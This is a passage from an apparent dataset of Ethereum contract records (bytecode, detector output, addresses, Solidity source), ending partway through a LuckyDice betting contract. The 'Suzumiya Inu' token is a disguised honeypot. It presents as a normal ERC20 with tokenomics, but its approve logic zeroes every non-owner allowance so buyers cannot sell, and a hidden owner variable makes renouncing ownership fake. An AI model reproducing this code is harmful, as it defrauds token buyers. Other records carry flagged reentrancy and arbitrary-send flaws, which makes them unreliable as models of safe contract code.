191660011790555b6111f1565b601554610100900460ff161580156110e257506012546001600160a01b03868116911614155b801561110757506001600160a01b03851660009081526005602052604090205460ff16155b156111ec5760145483111561114f5760405162461bcd60e51b815260206004820152600e60248201526d13585e0814d95b1b08131a5b5a5d60921b60448201526064016105cc565b600a5460095461115e91611349565b4311158061116f575060155460ff16155b15611198576001600160a01b0385166000908152600f60205260409020805460ff191660011790555b60006111a3306107ed565b9050600654811180156111b8575060075460ff165b156111d5576111d5610be560065483610d3a90919063ffffffff16565b4780156111e5576111e547611292565b50506111f1565b600091505b6001600160a01b0385166000908152600f602052604090205460ff168061123057506001600160a01b0384166000908152600f602052604090205460ff165b156112445761123d611596565b9050600191505b61125185858585856115cd565b5050505050565b6000818484111561127c5760405162461bcd60e51b81526004016105cc9190611d6c565b5060006112898486611f99565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107e9573d6000803e3d6000fd5b60006008548211156113335760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105cc565b600061133d611610565b9050610cb48382610c72565b6000806113568385611e52565b905083811015610cb45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105cc565b6015805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ec576113ec611fc6565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144057600080fd5b505afa158015611454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114789190611bf6565b8160018151811061148b5761148b611fc6565b6001600160a01b0392831660209182029290920101526011546114b19130911684610d7c565b60115460105460405163791ac94760e01b81526001600160a01b039283169263791ac947926114ee92879260009288929116904290600401611de1565b600060405180830381600087803b15801561150857600080fd5b505af115801561151c573d6000803e3d6000fd5b50506015805461ff001916905550505050565b600081836115505760405162461bcd60e51b81526004016105cc9190611d6c565b5060006112898486611e6a565b611565611ba8565b61156d611ba8565b600b548152600c546020820152600d546040820152600e54606082015260006080820152919050565b61159e611ba8565b6115a6611ba8565b60638082526000602083018190526040830191909152606082015260016080820152919050565b816115dd576115da611633565b90505b6012546001600160a01b0386811691161415611604576115ff85858584611667565b611251565b6112518585858461175f565b600080600061161d611840565b909250905061162c8282610c72565b9250505090565b61163b611ba8565b611643611ba8565b60008082526020820181905260408201819052606082018190526080820152919050565b6000806000806000611679878761196c565b6001600160a01b038e16600090815260026020526040902054949950929750909550935091506116a99086610d3a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116d89085611349565b6001600160a01b03891660009081526002602052604090205560808601516117019082906119fb565b60085461170e9084610d3a565b6008556040518281526001600160a01b03808a1691908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050505050505050565b60008060008060006117718787611ac6565b6001600160a01b038e16600090815260026020526040902054949950929750909550935091506117a19086610d3a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117d09085611349565b6001600160a01b03891660008181526002602052604090209190915561dead1415611832576001600160a01b0388166000908152600360205260409020546118189083611349565b6001600160a01b0389166000908152600360205260409020555b6117018187608001516119fb565b6008546000908190816118556009600a611ecf565b6118649064e8d4a51000611f7a565b61dead600052600260205260008051602061204b833981519152549091508210806118a8575061dead60005260036020526000805160206120038339815191525481105b156118d5576008546118bc6009600a611ecf565b6118cb9064e8d4a51000611f7a565b9350935050509091565b61dead600052600260205260008051602061204b833981519152546118fb908390610d3a565b61dead600052600360205260008051602061200383398151915254909250611924908290610d3a565b905061194d6119356009600a611ecf565b6119449064e8d4a51000611f7a565b60085490610c72565b821015611963576008546118bc6009600a611ecf565b90939092509050565b600080600080600061199860405180606001604052806000815260200160008152602001600081525090565b6119ab8888600001518960200151611b01565b60408401526020830152815260006119c1611610565b905060008060006119dc8c8660200151876040015187611b52565b8751602090980151929f919e509c50959a509850939650505050505050565b6000611a05611610565b90506000611a138483610cbb565b90508215611a955761dead600052600360205260008051602061200383398151915254611a409085611349565b61dead60005260008051602061200383398151915255600260205260008051602061204b83398151915254611a759082611349565b61dead600052600260205260008051602061204b83398151915255611ac0565b30600090815260026020526040902054611aaf9082611349565b306000908152600260205260409020555b50505050565b6000806000806000611af260405180606001604052806000815260200160008152602001600081525090565b6119ab88886040015189606001515b6000808080611b156064610bdf8989610cbb565b90506000611b286064610bdf8a89610cbb565b90506000611b368984610d3a565b9050611b428183610d3a565b9992985090965090945050505050565b6000808080611b618886610cbb565b90506000611b6f8887610cbb565b90506000611b7d8888610cbb565b90506000611b9582611b8f8686610d3a565b90610d3a565b939b939a50909850919650505050505050565b6040518060a00160405280600081526020016000815260200160008152602001600081526020016000151581525090565b600060208284031215611beb57600080fd5b8135610cb481611fdc565b600060208284031215611c0857600080fd5b8151610cb481611fdc565b60008060408385031215611c2657600080fd5b8235611c3181611fdc565b91506020830135611c4181611fdc565b809150509250929050565b600080600060608486031215611c6157600080fd5b8335611c6c81611fdc565b92506020840135611c7c81611fdc565b929592945050506040919091013590565b60008060408385031215611ca057600080fd5b8235611cab81611fdc565b91506020830135611c4181611ff4565b60008060408385031215611cce57600080fd5b8235611cd981611fdc565b946020939093013593505050565b600060208284031215611cf957600080fd5b8135610cb481611ff4565b600060208284031215611d1657600080fd5b8151610cb481611ff4565b600060208284031215611d3357600080fd5b5035919050565b60008060008060808587031215611d5057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611d9957858101830151858201604001528201611d7d565b81811115611dab576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e315784516001600160a01b031683529383019391830191600101611e0c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e6557611e65611fb0565b500190565b600082611e8757634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115611ec7578160001904821115611ead57611ead611fb0565b80851615611eba57918102915b93841c9390800290611e91565b509250929050565b6000610cb460ff841683600082611ee85750600161067b565b81611ef55750600061067b565b8160018114611f0b5760028114611f1557611f31565b600191505061067b565b60ff841115611f2657611f26611fb0565b50506001821b61067b565b5060208310610133831016604e8410600b8410161715611f54575081810a61067b565b611f5e8383611e8c565b8060001904821115611f7257611f72611fb0565b029392505050565b6000816000190483118215151615611f9457611f94611fb0565b500290565b600082821015611fab57611fab611fb0565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114611ff157600080fd5b50565b8015158114611ff157600080fdfe262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63656a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cca264697066735822122050073abfecea54d40a3da8e481a857c5b75aac8c9c2af037a0531cadda3fee3164736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,383 |
0xaa2c4cc459d25d941f0a88782963eb7873842e74
|
/**
💮資 Suzumiya Inu 資💮
Based on a classic Japanese anime series, Suzumiya Inu, aims to create a club based on the super natural and wizardry! 🧙🏼♂️
Little Kyon is the clubs manger and is specialised in running the comics, P2E game, NFT’s and all that is… magic! 🪄
💮資 Tokenomics 資💮
Name: Suzumiya Inu
Ticker: Suzinu
Max Supply: 1,000,000,000,000
6% Marketing Tax
4% Development Tax
1% Liquidity
Launch Style: Fairlaunch
💮資 Socials 資💮
Telegram: https://t.me/suzumiyainu
Twitter: https://twitter.com/suzumiyainu
Website: https://suzumiyainu.com
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Suzumiya is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Suzumiya Inu';
string private _symbol = 'Suzinu ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204e010e585b358ea8c08306d501567e039e4caa013e8910208f96b20ef64e707564736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,384 |
0x85d3addef1a2b104edb5c1e9475b6d5496fd5138
|
pragma solidity ^0.4.18;
contract DSSafeAddSub {
function safeToAdd(uint a, uint b) internal returns (bool) {
return (a + b >= a);
}
function safeAdd(uint a, uint b) internal returns (uint) {
if (!safeToAdd(a, b)) throw;
return a + b;
}
function safeToSubtract(uint a, uint b) internal returns (bool) {
return (b <= a);
}
function safeSub(uint a, uint b) internal returns (uint) {
if (!safeToSubtract(a, b)) throw;
return a - b;
}
}
contract LuckyDice is DSSafeAddSub {
/*
* bet size >= minBet, minNumber < minRollLimit < maxRollLimit - 1 < maxNumber
*/
modifier betIsValid(uint _betSize, uint minRollLimit, uint maxRollLimit) {
if (_betSize < minBet || maxRollLimit < minNumber || minRollLimit > maxNumber || maxRollLimit - 1 <= minRollLimit) throw;
_;
}
/*
* checks game is currently active
*/
modifier gameIsActive {
if (gamePaused == true) throw;
_;
}
/*
* checks payouts are currently active
*/
modifier payoutsAreActive {
if (payoutsPaused == true) throw;
_;
}
/*
* checks only owner address is calling
*/
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
/*
* checks only treasury address is calling
*/
modifier onlyCasino {
if (msg.sender != casino) throw;
_;
}
/*
* probabilities
*/
uint[] rollSumProbability = [0, 0, 0, 0, 0, 128600, 643004, 1929012, 4501028, 9002057, 16203703, 26363168, 39223251, 54012345, 69444444, 83719135, 94521604, 100308641, 100308641, 94521604, 83719135, 69444444, 54012345, 39223251, 26363168, 16203703, 9002057, 4501028, 1929012, 643004, 128600];
uint probabilityDivisor = 10000000;
/*
* game vars
*/
uint constant public houseEdgeDivisor = 1000;
uint constant public maxNumber = 30;
uint constant public minNumber = 5;
bool public gamePaused;
address public owner;
bool public payoutsPaused;
address public casino;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public minBet;
int public totalBets;
uint public maxPendingPayouts;
uint public totalWeiWon = 0;
uint public totalWeiWagered = 0;
// JP
uint public jackpot = 0;
uint public jpPercentage = 40; // = 4%
uint public jpPercentageDivisor = 1000;
uint public jpMinBet = 10000000000000000; // = 0.01 Eth
// TEMP
uint tempDiceSum;
bool tempJp;
uint tempDiceValue;
bytes tempRollResult;
uint tempFullprofit;
bytes32 tempBetHash;
/*
* player vars
*/
mapping(bytes32 => address) public playerAddress;
mapping(bytes32 => address) playerTempAddress;
mapping(bytes32 => bytes32) playerBetDiceRollHash;
mapping(bytes32 => uint) playerBetValue;
mapping(bytes32 => uint) playerTempBetValue;
mapping(bytes32 => uint) playerRollResult;
mapping(bytes32 => uint) playerMaxRollLimit;
mapping(bytes32 => uint) playerMinRollLimit;
mapping(address => uint) playerPendingWithdrawals;
mapping(bytes32 => uint) playerProfit;
mapping(bytes32 => uint) playerToJackpot;
mapping(bytes32 => uint) playerTempReward;
/*
* events
*/
/* log bets + output to web3 for precise 'payout on win' field in UI */
event LogBet(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint ProfitValue, uint ToJpValue,
uint BetValue, uint minRollLimit, uint maxRollLimit);
/* output to web3 UI on bet result*/
/* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/
event LogResult(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint minRollLimit, uint maxRollLimit,
uint DiceResult, uint Value, string Salt, int Status);
/* log manual refunds */
event LogRefund(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint indexed RefundValue);
/* log owner transfers */
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// jp logging
// Status: 0=win JP, 1=failed send
event LogJpPayment(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint DiceResult, uint JackpotValue,
int Status);
/*
* init
*/
function LuckyDice() {
owner = msg.sender;
casino = msg.sender;
/* init 960 = 96% (4% houseEdge)*/
ownerSetHouseEdge(960);
/* 0.5 ether */
ownerSetMaxProfit(500000000000000000);
/* init min bet (0.1 ether) */
ownerSetMinBet(100000000000000000);
}
/*
* public function
* player submit bet
* only if game is active & bet is valid
*/
function playerMakeBet(uint minRollLimit, uint maxRollLimit, bytes32 diceRollHash, uint8 v, bytes32 r, bytes32 s) public
payable
gameIsActive
betIsValid(msg.value, minRollLimit, maxRollLimit)
{
/* checks if bet was already made */
if (playerBetDiceRollHash[diceRollHash] != 0x0 || diceRollHash == 0x0) throw;
/* checks bet sign */
tempBetHash = sha256(diceRollHash, byte(minRollLimit), byte(maxRollLimit), msg.sender);
if (casino != ecrecover(tempBetHash, v, r, s)) throw;
tempFullprofit = getFullProfit(msg.value, minRollLimit, maxRollLimit);
playerProfit[diceRollHash] = getProfit(msg.value, tempFullprofit);
playerToJackpot[diceRollHash] = getToJackpot(msg.value, tempFullprofit);
if (playerProfit[diceRollHash] - playerToJackpot[diceRollHash] > maxProfit)
throw;
/* map bet id to serverSeedHash */
playerBetDiceRollHash[diceRollHash] = diceRollHash;
/* map player limit to serverSeedHash */
playerMinRollLimit[diceRollHash] = minRollLimit;
playerMaxRollLimit[diceRollHash] = maxRollLimit;
/* map value of wager to serverSeedHash */
playerBetValue[diceRollHash] = msg.value;
/* map player address to serverSeedHash */
playerAddress[diceRollHash] = msg.sender;
/* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */
maxPendingPayouts = safeAdd(maxPendingPayouts, playerProfit[diceRollHash]);
/* check contract can payout on win */
if (maxPendingPayouts >= contractBalance)
throw;
/* provides accurate numbers for web3 and allows for manual refunds in case of any error */
LogBet(diceRollHash, playerAddress[diceRollHash], playerProfit[diceRollHash], playerToJackpot[diceRollHash],
playerBetValue[diceRollHash], playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash]);
}
function getFullProfit(uint _betSize, uint minRollLimit, uint maxRollLimit) internal returns (uint){
uint probabilitySum = 0;
for (uint i = minRollLimit + 1; i < maxRollLimit; i++)
{
probabilitySum += rollSumProbability[i];
}
return _betSize * safeSub(probabilityDivisor * 100, probabilitySum) / probabilitySum;
}
function getProfit(uint _betSize, uint fullProfit) internal returns (uint){
return (fullProfit + _betSize) * houseEdge / houseEdgeDivisor - _betSize;
}
function getToJackpot(uint _betSize, uint fullProfit) internal returns (uint){
return (fullProfit + _betSize) * jpPercentage / jpPercentageDivisor;
}
function withdraw(bytes32 diceRollHash, string rollResult, string salt) public
payoutsAreActive
{
/* player address mapped to query id does not exist */
if (playerAddress[diceRollHash] == 0x0) throw;
/* checks hash */
bytes32 hash = sha256(rollResult, salt);
if (diceRollHash != hash) throw;
/* get the playerAddress for this query id */
playerTempAddress[diceRollHash] = playerAddress[diceRollHash];
/* delete playerAddress for this query id */
delete playerAddress[diceRollHash];
/* map the playerProfit for this query id */
playerTempReward[diceRollHash] = playerProfit[diceRollHash];
/* set playerProfit for this query id to 0 */
playerProfit[diceRollHash] = 0;
/* safely reduce maxPendingPayouts liability */
maxPendingPayouts = safeSub(maxPendingPayouts, playerTempReward[diceRollHash]);
/* map the playerBetValue for this query id */
playerTempBetValue[diceRollHash] = playerBetValue[diceRollHash];
/* set playerBetValue for this query id to 0 */
playerBetValue[diceRollHash] = 0;
/* total number of bets */
totalBets += 1;
/* total wagered */
totalWeiWagered += playerTempBetValue[diceRollHash];
tempDiceSum = 0;
tempJp = true;
tempRollResult = bytes(rollResult);
for (uint i = 0; i < 5; i++) {
tempDiceValue = uint(tempRollResult[i]) - 48;
tempDiceSum += tempDiceValue;
playerRollResult[diceRollHash] = playerRollResult[diceRollHash] * 10 + tempDiceValue;
if (tempRollResult[i] != tempRollResult[1]) {
tempJp = false;
}
}
/*
* CONGRATULATIONS!!! SOMEBODY WON JP!
*/
if (playerTempBetValue[diceRollHash] >= jpMinBet && tempJp) {
LogJpPayment(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerRollResult[diceRollHash], jackpot, 0);
uint jackpotTmp = jackpot;
jackpot = 0;
if (!playerTempAddress[diceRollHash].send(jackpotTmp)) {
